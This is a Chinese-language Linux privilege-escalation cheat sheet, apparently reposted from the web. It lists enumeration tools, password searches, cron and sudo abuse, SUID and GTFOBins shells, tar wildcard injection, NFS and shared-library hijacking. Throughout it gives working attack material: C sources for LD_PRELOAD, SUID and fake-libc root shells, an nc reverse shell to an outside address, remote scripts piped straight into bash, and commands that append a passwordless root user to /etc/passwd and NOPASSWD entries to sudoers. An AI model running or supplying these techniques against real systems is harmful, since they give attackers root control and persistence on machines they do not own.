一、判断是否为虚拟机
cat /proc/scsi/scsi
dmesg |grep -i vir
w / who 查询目前登录系统的用户
二、辅助工具
1. LinuxSmartEnumeration(参考了LinEnum.sh)
三个工作模式可选:
-l 0 (缺省),显示特别重要的信息
-l 1 显示interesting的信息
-l 2 显示所有的信息
wget "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh
单行执行:bash <(wget -q -O - https://raw.githubusercontent.com/diegotreitos/linux-smart-enumeration/master/lse.sh) -l2 -i
bash <(curl -s https://raw.githubusercontent.com/diego-treitos/linux-smartenumeration/master/lse.sh) -l1 -i
2. LinEnum
常用命令:./LinEnum.sh -r report -e /tmp/ -t 生成的结果将导出到 /tmp/report 文件
如果什么都不加的话,就是输出到标准输出
3. BeRootProject
python beroot.py --password super_strong_password
这个工具包含了GTFOBins所提到的文件列表,也就是说,可以检查出一些通过sudo运行即可提权
的文件。
4. Pupy
基于python的内存态后渗透利用框架
5. SUDO_KILLER探测脚本
三、信息搜集
1、关注点主要在:计划任务、具有suid的命令
2、内核和发行版的详细信息
3、系统信息:主机名
网络信息:当前IP、默认路由、DNS信息
4、用户信息:
当前用户详细信息
上次登录的用户
当前登录到主机的用户
列出所有用户uid、gid
列出root用户
密码策略和hash存储方法信息
umask值
检查password hash是否存在于 /etc/passwd (这个文件是全局可读的)
提取默认的uid的信息信息(0、1000、1001之类的)
尝试读取受限文件(例如 /etc/shadow )
列出当前用户的历史文件(例如 .bash_history 、 .nano_history 、 .mysql_histroy 、 .swp 文件)
ssh
5、特权检查
哪些用户最近使用了 sudo
/etc/sudoers 是否可以访问
确定当前用户是否可以不使用即可使用 sudo
确定通过sudo可能利用即可获得权限的命令
root 目录是否可以访问
查看 home 目录下的权限
6、环境信息:
查看当前的$PATH
查看当前的 env 信息
7、计划任务、进程
查看计划任务
确定属于其他用户的全局可写的计划任务
列出系统计时器(活动的、不活动的)
8、服务:
列出网络连接
列出当前进程
查看进程对应的二进制文件以及权限
列出 inetd.conf/xined.conf 的内容以及相关二进制程序的权限
列出 init.d 二进制的权限
9、查看版本信息:
sudo
mysql
postgres
apache
查看用户配置
查看可用模块
查看htpasswd文件
查看www目录
10、默认/弱口令的证书
主要是数据库的默认密码、弱口令
重点搜索:
所有具有SUID/GUID的文件,尤其是全局可写的SUID/GUID的文件、属于root的具有
SUID/GUID的文件
Locate files with POSIX capabilities?capabilities一种安全机制
带有 *.plan 、 *.rhosts 、 *.log 、 *.conf 的文件
NFS服务信息
本地邮件
11、特定的软件
docker
LXC
四、密码相关
1. 查找包含密码的文件(关键字 password )
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
2. 查看过期的密码
pam_cracklib会保存过期的密码记录在 /etc/security/opasswd 文件中。
3. 查看用户最后编辑的文件
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
最近十分钟编辑的文件
4. 内存中的密码
strings /dev/mem -n10 | grep -i PASS
5. 查看敏感文件
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
五、计划任务
Cron
检查系统中存在的cron计划任务,看看是否有权限访问和修改
检查文件内容,看看有没有可以提权的途径
利用pspy工具,检查命令和文件系统事件 ./pspy64 -pf -i 1000
敏感目录
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
cron的日志文件存储为 /var/log/cronlog ,可以看到最近执行的定时任务信息。
配置文件读取路径:
/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。
/etc/crontab ,只能root 进行编辑,配置文件需指定用户
/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)
日志保存地址:/var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。
systemd timers
系统定时器,也是计划任务的一种
查询命令:systemctl list-timers --all
相关信息:
如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元
重新加载配置:systemctl daemon-reload
journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志
详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm
六、内核漏洞
内核提权漏洞(依靠EXP)
1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。
2. 利用脏牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )
3. 一般这种提权漏洞都是c的,需要gcc编译 gcc filename -o outfilename 。
内核漏洞搜集项目:
https://github.com/lucyoa/kernel-exploits/
https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits
https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~
https://github.com/xairy/kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
常见漏洞:
1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)
https://www.exploit-db.com/exploits/15285/
3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))
https://www.exploit-db.com/exploits/15704/
4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))
https://www.exploit-db.com/exploits/18411
利用sudo命令
1. sudo -l :查看当前用户sudo支持的命令
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/mysql
比如以上结果列出了mysql,就可以使用 sudo mysql -e '\! /bin/sh' 获得一个特权shell,或者 sudo -u root mysql -e '\! /bin/sh'
最牛逼的情况:ignite ALL=(root) NOPASSWD: ALL
2. 使用用户密码切换到root用户:sudo -i 、 sudo su 、 sudo su -
3. 利用LD_PRELOAD:
如果在 sudoers 文件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:
Defaults env_keep += LD_PRELOAD
可以使用以下代码,编译共享链接库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles
//shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
使用如下命令,执行任何二进制程序以获得shell
sudo LD_PRELOAD=<full_path_to_so_file> <program>
举个例子:sudo LD_PRELOAD=/tmp/shell.so find
4. 同时要注意其他和sudo有同样功能的程序,比如openBSD的 doas 命令
# /etc/doas.conf
# 以root用户不需要密码执行 procmap
permit nopass tedu as root cmd /usr/sbin/procmap
5. sudo_inject
在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运行的进程的时候,可以只用sudo_inject攻击来滥用当前令牌。
6. 如果有权限的话,可以看看后面的内容
关于SUDO
sudo:配置文件默认在 /etc/sudoers ,推荐使用 visudo 工具来编辑,可以语法检查。
四种别名:Host_Alias(主机列表)、Cmnd_Alias(命令列表【绝对路径】,如果想禁用某些命令前面加 !即可)、User_Alias(用户列表)、Runas_Alias(用户以什么身份执行)
格式:USER_FLAG HOST_FLAG=(RUNAS_FLAG) COMMAND_FLAG ,如果不需要密码的话
USER_FLAG HOST_FLAG=(RUNAS_FLAG) NOPASSWD: COMMAND_FLAG
七、利用SUID提权
1. 查找具有suid权限的命令:find / -user root -perm -4000 -print 2>/dev/null 、 find / -perm -u=s -type f 2>/dev/null 、 find / -user root -perm -4000 -exec ls -ldb {} \; 、find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 、 find / -uid 0 -perm -4000 -type f 2>/dev/null
2. 常见的用于SUID提权的程序:
3. Nmap:较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。
nmap --interactive , nmap> !sh 。
4. find:`touch test`
find test -exec whoami \;
find test -exec bash -p \;
find test -exec /bin/sh \; (DC1就遇到bash无法提权,但是sh可以提权的情况)
find test -exec nc -e /bin/sh 192.168.139.128 9999 \;
5. vim:直接编辑文件 vim /etc/shadow ,或者进入vim后启动sh交互。
:set shell=/bin/sh
:shell
或者:vim -c '!sh'
6. bash:bash -p
7. 利用less执行命令:less /etc/passwd , !/bin/sh (已经设置suid的sh)、(more也可以)
8、为什么可以使用SUID提权:SUID代表“执行时设置用户ID”,具有该标志位的文件在执行时,运行的uid变为属主身份,也就是说,如果一个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root。
9. 构造一个具有suid的程序(如果root权限的话):
给程序添加suid标记:chmod +s 文件
利用自己的代码做一个suid的shell
// filename: suid.c int main(void){ setgid(0); setuid(0); system("/bin/bash"); } // 或者 int main(void){ setresuid(0, 0, 0); system("/bin/sh"); }
gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把属主改为root,之后再添加s标志】
八、GTFOBins
GTFOBins是一个精选的Unix二进制列表,攻击者可以利用它来绕过本地安全限制。
1、利用vim获得shell:
:set shell=/bin/bash , :shell
:! /bin/bash
2. 利用 awk:awk 'BEGIN {system("/bin/sh")}'
3. 利用find :find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
4. 利用more 和 less:! /bin/bash
九、通配符
通过将tar与–checkpoint-action选项一起使用,可以在检查点之后使用指定的操作。此操作可能是恶意的Shell脚本,可用于在启动tar的用户下执行任意命令。使用特定选项的“欺骗”根源非常简单,这就是通配符派上用场的地方。
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >
shell.sh
# vulnerable script
tar cf archive.tar *
详细原理请看《关于通配符提权》的笔记。
利用工具:wildpwn(其实就是将创建文件自动化了)
但是提供了一个自动化的攻击思路
十、利用可写文件(敏感文件)
1、搜索可写文件
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null find / -perm -2 -type f 2>/dev/null find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
2、写/etc/passwd
生成密码字符串的三种方式:
openssl passwd -1 -salt 盐值 密码
mkpasswd -m SHA-512 密码
python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'
按照如下格式添加到 /etc/passwd 文件中
用户名:生成的密码:0:0:Hacker:/root:/bin/bash
不生成密码的方式(极其暴力)
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
BSD 系统中文件名称为:/etc/pwd.db 、 /etc/master.passwd 、 /etc/spwd.db
3、写/etc/sudoers
echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
十一、NFS权限压缩
NFS的配置文件:/etc/exports
如果no_root_squash 出现在配置文件中的话,如果目录分享者是root,那么对于远程挂载
用户来说,他也具有了该目录下root的权限。
具体操作:
查看远程主机共享的文件夹:showmount -e 10.10.10.10
建立目录、挂载远程主机共享文件
mkdir /tmp/nfsdir
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
恶意利用:
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
十二、共享库
系统识别共享库的顺序:
1. rpath-link选项中指定的目录
2. –rpath选项中指定的目录
3. LD_RUN_PATH
4. LD_LIBRARY_PATH
5. DT_RUNPATH或DT_RPATH中的目录
6. /lib 、/usr/lib
7. /etc/ld.so.conf下的目录。
利用 ldconfig
识别程序所使用的动态链接库信息(实际是需要同名替换) ldd 二进制文件
编译一个同名为 vulnlib.so 的文件,进行替换(这个地方不确定要不要加版本号)
gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary
后面的数字作为版本号,连接器并不识别后面的内容,只识别到 so
命名规范的话:
主版本号:不同的版本号之间不兼容
次版本号:增量升级 向后兼容
发行版本号:对应次版本的错误修正和性能提升,不影响兼容性
十三、利用RPATH
查看程序使用RPATH情况:readelf -d 文件名 | egrep "NEEDED|RPATH"
根据上边的结果,在 /var/tmp/flag15 路径下构造恶意共享库
gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6 #include<stdlib.h> #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); }
文章来源于网络,如有侵权,请联系删除
禁止非法,后果自负